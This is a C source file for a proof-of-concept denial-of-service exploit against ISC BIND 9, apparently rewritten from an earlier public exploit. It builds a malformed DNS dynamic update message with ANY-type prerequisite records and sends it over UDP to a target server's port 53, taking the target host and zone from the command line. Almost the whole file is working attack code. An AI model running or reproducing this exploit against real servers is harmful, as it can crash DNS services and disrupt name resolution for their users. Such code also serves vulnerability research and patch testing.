/*
  ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC
  "Based on:
  http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt
  by kingcope - this is basically a rewrite of the above, lame i know, but fun enough
  
  for the [zone] argument you can try what is in the named.conf with "type master"
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>

#define PORT 31337

struct dnspkt1 {
  unsigned short transact;
  unsigned short flags;
  unsigned short zones;
  unsigned short pr;
  unsigned short updates;
  unsigned short rrs;
};

struct dnspkt2 {
  unsigned short type;
  unsigned short class;
  unsigned short name2;
  unsigned short type2;
  unsigned short class2;
  unsigned short ttl1;
  unsigned short ttl2;
  unsigned short datalen;
  unsigned short name3;
  unsigned short type3;
  unsigned short class3;
  unsigned short ttl3;
  unsigned short ttl4;
  unsigned short datalen2;
};

int packdomain(char * dest, const char *src)
{
  int i,n,cnt;

  n=strlen(src);
  dest[n+1]=0;  // terminator

  cnt=0;
  for (i=n; i>0; i--)
  {
    if (src[i-1]=='.')
    {
      dest[i]=cnt;
      cnt=0;
    }
    else
    {
      dest[i]=src[i-1];
      cnt++;
    }
  }
  dest[0]=cnt;
  return n+2;
}

int main(int argc, char **argv) {
  int sockfd, clilen;
  struct sockaddr_in serv_addr, cli_addr;
  struct dnspkt1 d1;
  struct dnspkt2 d2;

  printf("ISC BIND 9 Remote Dynamic Update Message Denial of Service PoC\n");
  printf("Based on:\n");
  printf("http://www.securityfocus.com/data/vulnerabilities/exploits/35848.txt\n");
  printf("by kingcope - this is basically a rewrite of the above, lame i know, but fun tough\n");

  if (argc < 2) {
    printf("usage: %s <host> [zone]\n", argv[0]);
    return 0;
  }

        sockfd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
        if(sockfd < 0) {
                printf("error on socket() call");
                return -1;
        }

        memset(&serv_addr, '\0', sizeof(serv_addr));
        serv_addr.sin_family = AF_INET;
        serv_addr.sin_addr.s_addr = INADDR_ANY;
        serv_addr.sin_port = htons(PORT);

        if (bind(sockfd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) {
                printf("error binding socket\n");
                return -1;
        }
  
        memset(&cli_addr, '\0', sizeof(cli_addr));
        cli_addr.sin_family = AF_INET;
        cli_addr.sin_addr.s_addr = inet_addr(argv[1]);
        cli_addr.sin_port = htons(53);
  
  memset(&d1, '\0', sizeof(d1));
  memset(&d2, '\0', sizeof(d2));
  d1.transact = htons(0x1cd6);
  d1.flags = htons(0x2800);
  d1.zones = htons(0x0001);
  d1.pr = htons(0x0001);
  d1.updates = htons(0x0001);
  d1.rrs = 0;
  char *name = (char*)malloc(8096);
  char nam[1024];

  if (argc < 3) {
    /* Not sure if this is right to set as default, have no clue about dns proto
       It works for me.. */
    strcpy(nam, "127.in-addr.arpa");
  } else {
    strncpy(nam, argv[2], sizeof(nam));
    nam[sizeof(nam)-1]=0;
  }

  int n=packdomain(name, (char*)nam);
  d2.type = htons(0x0006);
  d2.class = htons(0x0001);
  d2.name2 = htons(0xc00c);
  d2.type2 = htons(0x00ff);
  d2.class2 = htons(0x0001);
  d2.datalen = 0;
  d2.name3 = htons(0xc00c);
  d2.type3 = htons(0x00ff);
  d2.class3 = htons(0x00ff);
  d2.ttl1 = 0;
  d2.ttl2 = 0;
  d2.ttl3 = 0;
  d2.ttl4 = 0;
  d2.datalen2 = 0;

  char buffer[10000];
  memcpy(buffer, &d1, sizeof(d1));
  memcpy(buffer+sizeof(d1), name, n);
  memcpy(buffer+sizeof(d1)+n, &d2, sizeof(d2));

  clilen=sizeof(cli_addr);
  
  sendto(sockfd, buffer, sizeof(d1)+sizeof(d2)+n, 0, (struct sockaddr *)&cli_addr, sizeof(cli_addr));
  printf("aight!\n");
  return 0;
}